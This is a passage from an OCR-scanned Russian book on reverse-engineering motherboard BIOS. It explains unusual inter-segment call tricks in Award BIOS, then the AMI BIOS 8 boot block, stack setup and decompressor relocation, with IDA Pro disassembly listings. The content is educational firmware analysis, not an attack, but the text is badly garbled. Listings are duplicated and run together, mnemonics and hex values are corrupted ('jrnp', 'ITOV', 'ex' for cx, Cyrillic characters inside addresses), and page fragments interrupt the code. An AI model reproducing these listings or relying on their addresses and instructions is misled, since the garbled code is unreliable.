0 обратите внимание на размер обрабатываемого компонента. Процедура DeCOITpress_component в данном листинге распаковывает только один компонент, в то время как процедура Decompress_system_Bios в блоке начальной загрузки распаковывает системную BIOS и сохраняет в RAM инфор
мацию об упакованном компоненте расширения.
Если в регистре di установлен самый старший бит входного параметра для процедуры Decompress_component, а значение в регистре не равно foh, сегмент назначения для распаковки не является сегментом назначения по умолчанию для компонентов расширения, т. е. это не сегмент 4оооь.
Если в регистре di установлен старший бит входного параметра для процедуры Decompress_component, а значение в регистре равно FOh, смещение назначения для распаковки не является смещением назначения по умолчанию для компонентов расширения, т. е. это не смещение ооооь.
За исключением этих замечаний, для распаковки применяется тот же самый движок распаковки, что и при исполнении кода начальной загрузки.
Необычный межсегментный вызов процедур
В системной BIOS Award версии 6.00PG, а также в ее расширении, существует несколько способов межсегментного вызова процедур. Рассмотрим эти способы последовательно, один за другим. Код, реализующий первый способ межсегментного вызова процедур, показан в листинге 5.24.
•истинг 5.24. Первый способ вызова процедуры в сегменте FOOOh из сегмента EOOOh
е000:70ВЕ FO_mod_cache_stat proc near
е000:70ВЕ
push
cs
e000;7Qbf
push
offset exit
Eu00:70C2
push
offset locret_F000_EC31
E000:70C5
e000:7qC5
push
offset mod_cache_stat ;
Вызываем процедуру в сегменте
jrnp
far ptr locret_F000_EC30
F000 по адресу F000:E55E
^00:7008
^O^OCD
2°00:70CD
exit:
'°°0:70CD
retn
E000:70CD
FO_mod_cache_stat endp
F000:EC30
locret_F000_EC30:
F000:EC30
F000:EC31
re tn
F000:EC31
F000:EC31
locret_F000_EC31:
F000:EC31
retf
F000:E55E
mod_cache_stat proc near
F000:E55E
F000:E560
F000:E562
F000:E564
F000:E566
movah, al
orah, ah
jnzshort enable_cache
jnpshort exit
F000:E566
enable__cache:
F000:E566
mov eax, crO
F000:E569
and eax, 9FFFFFFFh
F000:E56F
mov crO, eax
F000:E572
wbinvd
F000:E574
F000:E574
exit:
F000:E574
re tn
F000:E574
mod_cache_stat endp
Как можно видеть из листинга 5.24, процедура, находящаяся в сегменте foooh (p_seg), вызывается с помощью необычного приема работы со стеком. С первого взгляда непонятно, каким образом инструкция в процедуре в листинге 5.24 может вдруг указывать на правильное смещение вызываемой процедуры. Я делаю это при помощи встроенной функции IDA Pro setFixup- В листинге 5.25 показан сценарий для преобразования инструкции по адресу E000:70C5h таким образом, чтобы она указывала на правильное смещение вызываемой процедуры.
Листинг 5.25. Применение функции IDA Pro SetFixup
SetFixup(0хЕ70С5, FIXUP_OFF16, OxFOOO, 0, 0);
В листинге 5.26 показан другой способ межсегментного вызова процедур- В этом примере процедура, расположенная в сегменте F_seg, вызывается из сегмента E_seg.
«З^нг 5.26. Второй способ вызова процедуры в сегменте FOOOh из сегмента
-л00:Р04^
pushad
:t900:F048
mov al, OFFh
5C,00:F04A
push cs
E000:F04B
push offset exit
gQ£)0:F04E
push offset mod_cache_stat; Вызываем процедуру в сегменте
E00C:F04E
; FOOD по адресу F000:E55E
£000:F051
jirp far ptr loc_E000_6500
EOOO:FO56
E000:F056
exit:
E000:F056
popad
E000:FO58
retn
E000:F058
reinit_cache endp
EOOO:6500
loc_E000_6500:
E000:6500
push 0EC31h
E000:6503
push ax
E000:6504
pushf
E000:6505
cli
EQOO:6506
xchg bp, sp
E000:6508
mov ax, [bp + 4]
E000:65OB
xchg ax, [bp + 6]
E000:650E
mov (bp + 4], ax
EOOO:6511
. xchg bp, sp
HOOO:6513
popf
EOOO:6514
pop ax
2000:6515
jmp far ptr locret_F000_EC30
F000:EC30
locret_F000_EC30:
P0OO:EC3O
retn
рЭ00:ЕС31
pC00:EC31
locret_F000_EC31:
р000:ЕС31
retf
reinit_cache proc near
,-100:F046
Распакованном расширении системной BIOS, расположенном в сегменте ^ооь, также имеется разновидность межсегментного вызова процедур, применяемая для исполнения "сервисов" системной BIOS. Пример такого вызова п°казан в листинге 5.27.
Листинг 5.27. Вызов процедуры в сегменте EOOOh из сегмента 1000h (сегмент XGROUP)
1000:AF76
Decompress_ITEM_BIN proc far ; .. .
1000:AF76
mov
di, 82D8h
1000:AF79
ITOV
si, 2000h
1000:AF7C
push
cs
1000:AF7D
push
offset exit
1000:AF80
push
offset Decornpress_Component
1000:AF83
1000:AF88
jmp
far ptr loc_F000_lC12
1000:AF88
exit:
; . . .
1000-.AF88
mov
word ptr ss:0F04h, 2000h
1000:AF8F
retf
1000:AF8F
Decompress_ITEM_BIN endp
F000:1C12
loc_F000_lC12:; ...
F000:lC12
push
6901h
FOOO:1C15
push
ax
F000:lC16
pushf
F000:lC17
cli
F000:lC18
xchg
bp, sp
FOOD:1C1A
mov
ax, [bp + 4]
FOOD:1C1D
xchg
ax, [bp + 6]
F000:lC20
mov
[bp + 4 ], ax
F000:lC23
xchg
bp, sp
F000:lC25
popf
F000:lC26
pop
cLX
F000:lC27
jmp
far ptr locret_E000_6900
E000:6900
locret_E000_6900:; .- -
E000:6900
E000:6901
retn
E000:6901
retf
Системная BIOS, расположенная в сегменте еоооь, также вызывает "сервисы”, предоставляемые компонентом расширения системной BIOS- Пример одного из таких вызовов показан в листинге 5.28.
_ к реализация BIOS материнской платы
Главой—
тинг 5.28. Первый способ вызова процедуры в сегменте XGROUP (1000b) ;егмента ЕОООЬ
sub_E000_56FF proc nearsub_E000_56FF proc near; ФРАГМЕНТ ФУНКЦИИ ПО АДРЕСУ 1000:0009 РАЗМЕР 00000003 БАЙТОВ; ФРАГМЕНТ ФУНКЦИИ ПО АДРЕСУ 1000:0009 РАЗМЕР 00000003 БАЙТОВE000:56FFpushcsЕ000:5700pushoffsetcontinueЕООО:5703pushoffsetsub_1000_4DD6; Вызываем процедуру,ЕООО:5703; расположенную в сегментеЕООО:5703; XGROUP по адресу 1000:4DD6E000:56FFpushcsЕ000:5700pushoffsetcontinueЕООО:5703pushoffsetsub_1000_4DD6; Вызываем процедуру,ЕООО:5703; расположенную в сегментеЕООО:5703; XGROUP по адресу 1000:4DD6far ptr loc_1000_9far ptr loc_1000_9гдао:5бгЕ E000:56№ ЕООО:56ГГ E000:56FFгдао:5бгЕ E000:56№ ЕООО:56ГГ E000:56FFEOOO:5706 E000:570B E000:570B E000:570B E000:570BEOOO:5706 E000:570B E000:570B E000:570B E000:570Bjnpjnpcontinue:continue:call sub_E000_D048call sub_E000_D048Е000:570ЕЕ000:570Еcall sub_E000_D050call sub_E000_D050ЕООО:5711ЕООО:5711re tnre tnEOOO:5711EOOO:5711sub_E000_56FF endpsub_E000_56FF endp
sub_E000_56FF proc near
sub_E000_56FF proc near
; ФРАГМЕНТ ФУНКЦИИ ПО АДРЕСУ 1000:0009 РАЗМЕР 00000003 БАЙТОВ
; ФРАГМЕНТ ФУНКЦИИ ПО АДРЕСУ 1000:0009 РАЗМЕР 00000003 БАЙТОВ
E000:56FF
push
cs
Е000:5700
push
offset
continue
ЕООО:5703
push
offset
sub_1000_4DD6
; Вызываем процедуру,
ЕООО:5703
; расположенную в сегменте
ЕООО:5703
; XGROUP по адресу 1000:4DD6
E000:56FF
push
cs
Е000:5700
push
offset
continue
ЕООО:5703
push
offset
sub_1000_4DD6
; Вызываем процедуру,
ЕООО:5703
; расположенную в сегменте
ЕООО:5703
; XGROUP по адресу 1000:4DD6
far ptr loc_1000_9
far ptr loc_1000_9
гдао:5бгЕ E000:56№ ЕООО:56ГГ E000:56FF
гдао:5бгЕ E000:56№ ЕООО:56ГГ E000:56FF
EOOO:5706 E000:570B E000:570B E000:570B E000:570B
EOOO:5706 E000:570B E000:570B E000:570B E000:570B
jnp
jnp
continue:
continue:
call sub_E000_D048
call sub_E000_D048
Е000:570Е
Е000:570Е
call sub_E000_D050
call sub_E000_D050
ЕООО:5711
ЕООО:5711
re tn
re tn
EOOO:5711
EOOO:5711
sub_E000_56FF endp
sub_E000_56FF endp
1000:0009
push
8
1000:000с
push
ax
1000:000D
pushf
Ю00:000Е
cli
1000:000F
xchg
bp, sp
1000: ООН
mov
ax, [bp + 4]
1000:0014
xchg
ax, [bp + 6]
1000:0017
mov
[bp + 4], ax
Ю00:001А
xchg
bp, sp
1000:001с
popf
1000:0010
Pop
ax
Ю00:001е
jnp
short locret_:
1000:0009
loc_1000_9:
1000_7
10°0:000710°0:000710°0:000810°°:000810°0:000710°0:000710°0:000810°°:0008locret_1000_7: retnlocret_1000_7: retnretfretf
10°0:0007
10°0:0007
10°0:0008
10°°:0008
10°0:0007
10°0:0007
10°0:0008
10°°:0008
locret_1000_7: retn
locret_1000_7: retn
retf
retf
1000:4DD6
sub_1000_4DD6 proc near
1000:4006
call sub_100.0_4E2D
1000:4009
mov cl, OAh
1000:4DDB
call sub_1000_4E05
1000:4DDE
mov cl, OEOh ; 'a'
1000:4DE0
call sub_1000_4Ell
1000:4DE3
andal, OFBh
1000:4DE5
call sub_1000_4ElE
1000:4DE8
call sub_1000_4E35
1000:4DEB
retn
1000:4OEB
sub_1000_4DD6 endp
Теперь рассмотрим запутанный вызов процедуры, расположенной в сегменте F_seg, из сегмента E_seg. Я не знаю, почему разработчики Award реализовали этот вызов таким образом. Поэтому я лишь продемонстрирую один пример и затем проанализирую обработку стека, чтобы продемонстрировать, каким образом этот вызов работает. Для удобства, назовем этот способ call_Fseg_i (листинг 5.29).
Листинг 5.29. Третий способ вызова процедуры в сегменте FOOOh из сегме аЛистинг 5.29. Третий способ вызова процедуры в сегменте FOOOh из сегме аEOOOhE000:E8B0word_E000_E8B0 dw OFOOOh ; ...E000:98C8pushlB42hE000:98CBcallnear ptr call_Fseg_lE000:98CEmovex, lOOhE000:E8B9call_Fseg_l proc far; ...E000:E8B9pushcsE000:E8BApushoffset locret_E000_E913E000:E8BDpushCS:word_E000_E8B0E000:E8C2push8017hE000:E8C5pushaxE000:E8C6jmpshort loc_E000_E8D2E000:E8C6call_Fseg_l endpE000:E8D2loc_E000_E8D2:; ...E000:E8D2pushcs:word_E000_E8B0E000:E8D7push8016hE000:E8DAjmpshort inter_seg_cal1EOOOhE000:E8B0word_E000_E8B0 dw OFOOOh ; ...E000:98C8pushlB42hE000:98CBcallnear ptr call_Fseg_lE000:98CEmovex, lOOhE000:E8B9call_Fseg_l proc far; ...E000:E8B9pushcsE000:E8BApushoffset locret_E000_E913E000:E8BDpushCS:word_E000_E8B0E000:E8C2push8017hE000:E8C5pushaxE000:E8C6jmpshort loc_E000_E8D2E000:E8C6call_Fseg_l endpE000:E8D2loc_E000_E8D2:; ...E000:E8D2pushcs:word_E000_E8B0E000:E8D7push8016hE000:E8DAjmpshort inter_seg_cal1
Листинг 5.29. Третий способ вызова процедуры в сегменте FOOOh из сегме а
Листинг 5.29. Третий способ вызова процедуры в сегменте FOOOh из сегме а
EOOOh
E000:E8B0
word_E000_E8B0 dw OFOOOh ; ...
E000:98C8
push
lB42h
E000:98CB
call
near ptr call_Fseg_l
E000:98CE
mov
ex, lOOh
E000:E8B9
call_Fseg_l proc far; ...
E000:E8B9
push
cs
E000:E8BA
push
offset locret_E000_E913
E000:E8BD
push
CS:word_E000_E8B0
E000:E8C2
push
8017h
E000:E8C5
push
ax
E000:E8C6
jmp
short loc_E000_E8D2
E000:E8C6
call_Fseg_l endp
E000:E8D2
loc_E000_E8D2:; ...
E000:E8D2
push
cs:word_E000_E8B0
E000:E8D7
push
8016h
E000:E8DA
jmp
short inter_seg_cal1
EOOOh
E000:E8B0
word_E000_E8B0 dw OFOOOh ; ...
E000:98C8
push
lB42h
E000:98CB
call
near ptr call_Fseg_l
E000:98CE
mov
ex, lOOh
E000:E8B9
call_Fseg_l proc far; ...
E000:E8B9
push
cs
E000:E8BA
push
offset locret_E000_E913
E000:E8BD
push
CS:word_E000_E8B0
E000:E8C2
push
8017h
E000:E8C5
push
ax
E000:E8C6
jmp
short loc_E000_E8D2
E000:E8C6
call_Fseg_l endp
E000:E8D2
loc_E000_E8D2:; ...
E000:E8D2
push
cs:word_E000_E8B0
E000:E8D7
push
8016h
E000:E8DA
jmp
short inter_seg_cal1
^в3 5- Реапиза^ия BIOS материнской платы
201
eq00:E8FD
inter_seg_call:; . . .
Eg00:e8FD
push ax
e000:E8FE
pushf
g000:E8FF
cli
E0OO:E9OO
xchg bp, sp
E00O:E9O2
mov ax, [bp + 20]
E000:E9O5
mov [bp + 8], ax
eq00:E908
mov ax, [bp + 18]
E00O:E9OB
mov [bp + 20], ax
E00O:E9OE
xchg bp, sp
e000:E910
popf
E000:E9H
pop ax
E00C:E912
E000:E913
retf
EOOO:E913
locret_E000_E913:; . .
EOOO:E913
retn 2
FOOO:1B42
retf
F000:8016
retn
FOOD:8017
F000:8017
retf
F000:8018
•
FOOD:8018
retf 2
С первого взгляда трудно уловить, каким образом исполняется код, приведенный в листинге 5.29. Но все станет понятным, если отследить значения стека по ходу исполнения кода, начиная с адреса еооо:98С8. Обратите внимание, что значения индекса, добавляемого к регистру Ьр в дизассемблированном коде в Листинге 5.29 и рис. 5.3, указаны в десятичном, а не в шестнадцатеричном формате. Последовательность значений стека показана на рис. 5.3.
Из рис. 5.3 ясно видно, что значение регистра ах не используется ни в каких Вь,Числениях, а просто играет роль заполнителя. А из листинга 5.29 видно, Чт° вызываемая процедура сразу же возвращает управление, ничего не вы- Лолняя.
Дальнейшем, расширение системной BIOS в RAM будем называть сегмен- xgroup. В сегменте E_seg также осуществляется вызов процедуры из сег- нта xgroup окольным путем (см. листинг 5.30). Назовем этот вызов ^ ^~XGROUP_s eg.
(инструкцией по адресу еооо : 98C8h)(инструкцией по адресу еооо : 98C8h)Рис. 5.3. Стек, создаваемый при выполнении процедуры в сегменте FOOOh, вызываемой из сегмента во 0 Oh третьим способомРис. 5.3. Стек, создаваемый при выполнении процедуры в сегменте FOOOh, вызываемой из сегмента во 0 Oh третьим способом
(инструкцией по адресу еооо : 98C8h)
(инструкцией по адресу еооо : 98C8h)
Рис. 5.3. Стек, создаваемый при выполнении процедуры в сегменте FOOOh, вызываемой из сегмента во 0 Oh третьим способом
Рис. 5.3. Стек, создаваемый при выполнении процедуры в сегменте FOOOh, вызываемой из сегмента во 0 Oh третьим способом
Значения, помещенные на стеквызовом call_Fseg_l
Листинг 5.30. Второй способ вызова процедуры в сегменте EOOOh из сегмента XGROUP
Е000:98ЕВ push offset sub_1000_7C20
Е000:98ЕЕcall near ptr call_XGROUP_seg
E000:E8EB call_XGROUP_seg proc far ;
E000:E8EB
push
1
E000:E8ED
push
cs
E000:E8EE
push
offset locret_E000_E913
E000:E8Fl
push
offset locret_1000_C506
E000:E8F4
push
ax
5. Р
еализация BIOS материнской платы
,С00.-В8Г5
push cs:word_E000_E8B2
3000:E8FA
push offset locret_1000_C504
T000:E8FD
?000:E8Fd
inter_seg_call:; ...
S000 = E8FD
push ax
eqOO:E8FE
pushf
sC00:E8FF
cli
eOOO:E900
xchg bp, sp
eq00:E902
mov ax, [bp + 20]
E000:E905
mov [bp + 8], ax
E000:E9O8
mov ax, [bp + 18]
E000:E9OB
mov [bp +20], ax
EC00:E90E
xchg bp, sp
E000:E91O
popf
EOOO:E911
pop ax
E000:E912
retf
EOOO:E912
call_XGROUP_seg endp
1000:7020
sub_1000_7C20 proc near ; ...
1000:7020
mov si, 7B8Ah
1000:7023
mov di, 7B7Ah
1000:7026
mov ex, 4
1000:7С53 retn
1000:7053 sub_1000_7C20 endp
Разберем вызов этой процедуры, проследив значения стека (рис. 5.4). Здесь, хак и в предыдущем случае, значение индекса, добавляемого к регистру Ьр, фигурирует в дизассемблированном коде в листинге 5.30 и на рис. 5.4 в дентинном, а не в шестнадцатеричном формате.
*^3 Рис. 5.4 ясно видно, что постоянная 1, проталкиваемая на стек, не исполь- 3Уется ни в каких вычислениях, а просто играет роль заполнителя. ВызываеМая процедура находится в сегменте xgroup, т. е. в сегменте ioooh.
^Роме того, существует обходной межсегментный вызов процедуры, находящейся в сегменте F_seg, из сегмента E_seg. Я не буду вдаваться в подроб- Ти этого вызова, а лишь предоставлю пример кода (см. листинг 5.31).
Вс^Маю’ вы сможете разобраться с этим кодом самостоятельно. Ну, а если >ке возникнут затруднения, то проследите графически значения стека по Исполнения, как было показано на рис. 5.3 и 5.4.
Значения, помещенные на стек при вызове методом call_XGROUP_seg (инструкцией по адресу еооо: 98EBh) перед тем, как они модифицируются
Рис. 5.4. Стек, создаваемый при выполнении процедуры в сегменте XGROUP, вызываемой из сегмента EOOOh вторым способом
Е000:98FAEC00:98FDЕ000:98FAEC00:98FDE000:E8C8E000:E8CAE000:E8CBE000:E8CEE00C:E8DlE000:E8C8E000:E8CAE000:E8CBE000:E8CEE00C:E8Dl
Е000:98FA
EC00:98FD
Е000:98FA
EC00:98FD
E000:E8C8
E000:E8CA
E000:E8CB
E000:E8CE
E00C:E8Dl
E000:E8C8
E000:E8CA
E000:E8CB
E000:E8CE
E00C:E8Dl
Листинг 5.31. Четвертый способ вызова процедуры в сегменте FOOOh из сегмента EOOOh
push offset sub_F000_BlC
call near ptr Call_Fseg_2
E000:E8C8 Call_Fseg_2 proc far
push 1
push cs
push offset locret_E000_E913
push offset locret_F000_8018 push ax
^ea 5. Реализация BIOS материнской платы
e000:E8D2 B000:E8D2 eq00:E8D2 E000:E8D7 e000:E8DA e00O:E8DA
loc_E000_E8D2:;
push cs:word_E000_E8B0
push offset locret_F000_8016 jnp short inter_seg_call
Call_Fseg_2 endp
EQ00:E8FD EqOO:E8FD E000:E8FE E000:E8FF EOOO:E900 E000:E902 E000:E905 E000:E908 E000:E9OB EOOO:E90E EOOO:E910 EOOO:E911 E000:E912
E000:E913
inter_seg_call: push ax pushf cli xchg bp, sp mov ax, [bp + mov [bp + 8]> mov ax, [bp + mov [bp + 20], xchg bp, sp popf pop ax retf
20] ax
18]
ax
E000:E913 locret_E000_E913:
Е000:Е913 retn 2
ЕООО:Е8ВО word_E000_E8B0 dw OFOOOh ; . ..
FOOO:OB1C sub_F000_BlC proc near ; . ..
FOOO:OB1C cmp byte ptr [bp + 19h], 2Fh ; 1/'
p0OO:OB58
f°00:0B58 locret_F000_B58:; .
f°00:0B58 retn
f°00:0B58 sub_F000_BlC епф
F°°0:8016 locret_F000_8016:; ...
F°0°:8016 retn
F°°0:8017 ;
^°^:8017 locret_F000_8017:; .
^0:8017 retf
^0;8ois ;
^°°:8018 locret_F000_8018:; .
°°С:8018 retf 2
В данном разделе мы ознакомились с исполнением основного компонента двоичного файла BIOS, а именно — с системной BIOS. Чтобы найти код кон. кретной процедуры в системной BIOS, необходимо исследовать соответст. вующую ветвь в таблице переходов POST. Следует заметить, что такое исследование требуется лишь в том случае, если вам не известна двоичная сигнатура необходимой процедуры. Если же двоичная сигнатура вам известна, то необходимую процедуру можно найти, просканировав двоичный файл. Я освещу этот вопрос более подробно в главе, посвященной модифицированию BIOS.
5.2. AMI BIOS
В данном разделе рассматривается двоичный файл BIOS от AMI версии 8 (AMIBIOS8). Существует несколько версий баз кода BIOS AMI, но, начиная с 2002 г., используется именно данная версия. Версию базы кода можно определить путем исследования двоичного файла BIOS. Строка amibioscosoo указывает на базу кода восьмой версии.
Исследуемая в данном разделе BIOS была выпущена 14 сентября 2004 г. и поставляется с материнской платой SL865PE от Soltek, основанной на чипсете 865РЕ от Intel. Я рекомендую скачать техническую документацию на этот чипсет с сайта Intel, чтобы ознакомиться с применяемой в нем схемой общесистемной адресации и ролью конфигурационного регистра PCI.
Структура файла AMI BIOS
Структура двоичного файла AMI BIOS подобна структуре двоичного файла Award BIOS. Код начальной загрузки размещается в самом верху файла, а упакованные компоненты размещены ниже. Код начальной загрузки и упакованные компоненты разделены байтами-заполнителями.
На рис. 5.5 показано отображение компонентов двоичного файла BIOS на
общесистемное адресное пространство материнской платы, реализованной на чипсете 865РЕ от Intel. Обратите внимание, что этот чипсет отличается °т чипсета, применяемого в разд. 5.1, где рассматривалась BIOS от Award. ДаН'
ный чипсет, т. е. Intel 865РЕ, поддерживает только 4 Гбайт адресного пр° странства. Это объясняет, почему на рис. 5.5 отсутствует отображение на аД реса, лежащие выше 4 Гбайт. Отображение двоичного файла AMI Bl
общесистемное адресное пространство не будет рассматриваться в под- бностях, так вы уже можете разобраться с данным вопросом самостоятельно просматривая файл в hex-редакторе и применяя концепции отображения адресов, рассмотренные в разд. 5.1.1.
Блок начальной загрузкиБлок начальной загрузкиFFFF_FFFFh
Блок начальной загрузки
Блок начальной загрузки
FFFF AOOOh
Байты-заполнители (FFh)
п-й сжатый компонент
Диапазон адресовчипа BIOS
3-й сжатый компонент
2-й сжатый компонент2-й сжатый компонентFFFF_FFFFh минус объемчипа BIOSFFFF_FFFFh минус объемчипа BIOS1-й сжатый компонентАппаратные средства,отображенные на память1-й сжатый компонентАппаратные средства,отображенные на память
2-й сжатый компонент
2-й сжатый компонент
FFFF_FFFFh минус объемчипа BIOS
FFFF_FFFFh минус объемчипа BIOS
1-й сжатый компонент
Аппаратные средства,отображенные на память
1-й сжатый компонент
Аппаратные средства,отображенные на память
Системная RAM
О
Рис. 5.5. Отображение двоичного файла AMI BIOSна системное адресное пространство
Инструменты
Для дизассемблирования AMI BIOS
Набор имеющихся инструментов для дизассемблирования AMI BIOS не столь обширен, как аналогичный набор, доступный для Award BIOS. К тому Же> по сравнению с инструментами для Award BIOS, инструменты для дизассемблирования AMI BIOS сложнее в использовании. В Интернете можно Наити следующие бесплатные инструменты для работы с AMI BIOS:
^ AMIBCP — средство для модификации BIOS, разработанное производителем AMI BIOS — компанией American Megatrends. Имеется несколько версий этой утилиты, каждая из которых предназначена для работы с определенной версией базы кода AMI BIOS. Утилита AMIBCP не подходит Для модификации AMI BIOS несовпадающей версии. При помощи утили- Tbi AMIBCP можно изменить значения установок конфигурации BIOS.
Несение изменений в системную BIOS, однако, является более сложной
задачей, с которой довольно трудно справиться даже при помощи этог0 инструмента.
□ Amideco — распаковщик двоичных файлов AMI BIOS, разработанный руСч ским программистом Антоном Борисовым. При помощи этой утилиты можно просмотреть упакованные модули внутри двоичного файла AMl BIOS и распаковать их. Вы можете разработать аналогичный распаковщИк и самостоятельно. Для этого вам потребуется проанализировать работу распаковщика соответствующей BIOS, а затем самостоятельно написать код, воспроизводящий эти функциональные возможности.
Стоит отметить, что для понимания материала, рассматриваемого далее в этом разделе, данные утилиты не нужны. Я упомянул их здесь лишь для того, чтобы вы знали, чем пользоваться, если вам придется модифицировать вашу BIOS.
Что может быть полезным в наших исследованиях AMI BIOS, так это бесплатный справочник по контрольным точкам и звуковым сигналам — AMIBIOS8 Checkpoint and Веер Code List (Список контрольных точек и звуковых сигналов AMIBIOS8). Данный справочник можно скачать с официального сайта компании American Megatrends — http://www.ami.com. Этот справочник содержит информацию о значениях кодов POST и их соответствующих задачах, исполняемых BIOS. Коды POST — это отладочные коды, выводимые в отладочный порт (порт 80h) при исполнении BIOS. Этот справочник будет полезен для понимания дизассемблированного исходного кода двоичного файла BIOS. С его помощью вы можете узнать роль значений, записываемых BIOS в порт 80h.
Дизассемблирование области начальной загрузки AMI BIOS
Код начальной загрузки в AMI BIOS более сложен по сравнению с Award BIOS. Тем не менее, как и все прочие BIOS для х86-совместимых процессоров, AMI BIOS начинает исполнение по адресу Oxffff_fffo (адреС Oxfooo : Oxfffo в реальном режиме). С этого адреса мы и начнем дизассемблировать BIOS для материнской платы Soltek SL865PE. Так как процесс загрУ3' ки файла в IDA Pro был подробно рассмотрен в главе 2, я не буду заострять на нем внимание.
Таблица переходов кода начальной загрузки
Первой инструкцией в коде начальной загрузки AMI BIOS является инстрУк ция безусловного перехода к таблице переходов (см. листинг 5.32).
F00O:FFFOF00O:FFFOг 5.32. Таблица переходов кода начальной загрузки AMI BIOS
F00O:FFFO
F00O:FFFO
jmp far ptr bootblock_start
,c00:FFAA bootblock_start:
FgOO:FFAA ЗЩР exec_jmp_table
?')00:a040 exec_jmp_table:
rOOO:A040 jnp _CPU_early_init
F000:A043 ;
?000:AO43
F000:A043 _j2:
FC00:A043 jmp _goto_j3
; Прочие элементы таблицы переходов
F000:AO8B _j26:
F000:A08B jrnp setup_stack
F000:AG8E ;
F000:AO8E
F000:AO8E _j27:
F000:A08Ecallnear ptr copy_decarp_block
F000:A091callsub_F000_A440
FC0G:A094callsub_F000_A273
F0OO:AO97callsub_F000_A2EE
F000:A09Aretn
Я не буду подробно рассматривать все элементы таблицы переходов, приведенной в листинге 5.32, а лишь вкратце опишу элементы, оказывающие влияние на исполнение кода блока начальной загрузки. Процедуры, вызываемые переходами в таблице переходов, подготавливают систему (т. е. проДессор, материнскую плату, RAM и т. д.) к исполнению кода в RAM. Для Этой цели осуществляется тестирование подсистемы RAM, и по мере необходимости выполняется предварительная инициализация DRAM. Наиболее интересным элементом в таблице переходов является переход к функции инициаЛизации области стека setup_stack. Определение этой функции представлено Листинге 5.33. '
Листинг 5.33. Функция инициализации стека setup_stack
Р000:А1Е7 setup_stack:
; _F0000:_j26
; Выводится код POST D4h
or_Cache
FOOO:A1E7 FOOO:A1E9 FOOO:A1EB FOOO:A1EE FOOO:A1F1 FOOO:A1F1 FOOO:A1F3 FOOO:A1F5 FOOO:A1F8 FOOO:A1FB FOOO:A1FB FOOO:A1FC FOOO:A1FF F000:A202 F000:A202 F000:A204 F000:A207 F000:A20A F000:A20A F000:A20C F000:A20E F000:A210 F000:A213 F000:A215 F000:A215 F000:A218
mov out mov jnp
al, 80h, si, neai
0D4h ; *1/
, al
OAlFlh
r ptr Init_Descript
mov
mov
mov jnp
ax, cs
ss, ax
si, OAlFBh
zero_ini t_low_mem
nop
mov jnp
sp, j-j-
0A202h
_nullsub_l
add
mov jnp
al, 0A2h ; 'a' di, 0A20Ah init_cache
xor ax, mov es, mov ds, mov ax,
movss,
assume ss:
mov sp, jnp _j2"3
ax
ax
ax
53h ,- 'S'
ax
nothing 4000h
i
; Сегмент стека
; Выделяется под
стек 16 КБ
Функция setup_stack инициализирует под стек область памяти сегмента 53Ь- Эта же функция инициализирует сегментные регистры ds и es, что необходимо для переключения в плоский реальный режим (flat real mode), или так называемый режим voodoo. Исполнение функции заканчивается передаче11 управления обработчику области распаковщика.
Перемещение области распаковщика
Обработчик блока распаковщика копирует блок распаковщика из ROM Bl^ в RAM и продолжает исполняться в RAM, как показано в листинге 5.34.
перемещения области распаковщика
fOOO:AO8E
_J27:;
_F0000:A218
f000:A08E Foodies!
call near ptr copy_decomp_block
call sub_F000_A440
Fq00:A21B
copy_deconip_block proc far;
_F0000:_]27
F000:A21B
mov al, 0D5h ; ’ -1;
Код области нач. загрузки копируется
F000:A21B
из ROM в область нижней системной
F000:A21B
;
памяти ; и управление передается этой
fq00:A21B
;
копии.
FOOC:A21B
;
Сейчас BIOS исполняется из RAM.
F000:A21B
:
Упакованный код начальной загрузки'
F000:A21B
;
копируется в надлежащие сегменты в
F000:A21B
:
RAM; BIOS копируется из ROM в RAM для
F000:A21B
;
ускорения доступа; проверяется
F000:A21B
основная контрольная с^тлма BIOS и
F000:A21D
out 80h, al;
обновляется статус восстановления.
F000:A21D
F000:A21F
push es
Выводится код POST D5h в порт 80h.
F000:A220
call get_deccmp_block_size ;
По возврату:
F000:A220
есх = размер области распаковщика
F000:A220
;
esi = физический адрес области
F000:A220
;
распаковщика
FOOO:A220
На данном этапе, есх = 0x6000
F000:A220
F000:A223
F000:A226
mov ebx, esi push ebx
и esi = OxFFFFAOOO.
F000:A228 f°00:A22C f°00:A22F p0O0:A23O F°00:A23q ?°00:A234 Fc00:A235 ptr
Р°00:А2з9
F°°0:A23A
shr ecx, 2;
push 8000h
pop es
assume es:decomp_block
movzx edi, si
cld
rep movs dword ptr es:[edi], [esi]
push es
push offset decomp_block_start
размер области распаковщика / 4
F°°0:A23A
P°°0:A23D
'20G:A23D
retf
copy_decomp_block endp ;
jmp to 8000:A23Eh
F000:A492 get_deccmp_block_size proc near ;
F000:A492
mov
ecx, cs:deconp_block_size
F000:A498
ITOV
esi, ecx
F000:A49B
F000:A49E
neg retn
esi
F000:A49E get_deconp_block_size endp
F000:FFD7 deccmp_block_size dd 6000h
F000:FFD7
; Получаем размер области; распаковщика; Получаем размер области; распаковщикаФункция copy_decomp_block в листинге 5.34 копирует 24 Кбайт кода блока начальной загрузки (oxffff_aooo-oxffff_ffff) в сегмент oxsooo в RAM и продолжает исполнение кода из этого сегмента. Из листинга 5.34 становится понятно, что отображение смещений в сегменте FOOOh и копия последних 24 Кбайт сегмента FOOOh в сегменте soooh в RAM идентичны.
; Получаем размер области
; распаковщика
; Получаем размер области
; распаковщика
Теперь перейдем к рассмотрению исполнения кода в RAM (листинг 5.35).
Листинг 5.35. Исполнение кода начальной загрузки в RAM
8000:A23E
push
51h ; 'Q1
8000:A241
Pop
fs; fs = 51h
8000:A243
assume
fs:nothing
8000:A243
mov
dword ptr fs:0, 0
8000:A24D
pop
eax s; eax = ebx (back in Fseg)
8000:A24F
mov
cs:src_addr?, eax
8000:A254
pop
es; es = es_back_in_Fseg
8000:A255
retn
; Возврат к смещению A091
8000:A255
deconp_block_start endp ;
Код, выделенный полужирным шрифтом по адресу 0х8000:0хА255 в листинге 5.35 исполняется особенным образом. Начнем рассмотрение со значении стека сразу же перед исполнением инструкции retf в процедур6 copy_decomp_biock. Имейте в виду, что перед исполнением процедурь1 copy_decomp_biock по адресу Oxfooo : 0хА08Е, адрес следующей ИНСТрукиик1 (адрес возврата), т. е. 0хА091, проталкивается на стек. Таким образом, пер6^ исполнением инструкции retf в процедуре copy_decomp_biock, стек выгля дит, как показано на рис. 5.6.
Теперь, когда мы входим в функцию decomp_biock_start, сразу же пер6'1 инструкцией ret, значения стека, показанные на рис. 5.6, уже вытолкну1^
стека, за исключением значения на дне стека, т. е. 0хА091. Таким образом, 1-огДа исполняется инструкция ret, управление будет передано к смещению ^091. По этому смещению находится код, показанный в листинге 5.36.
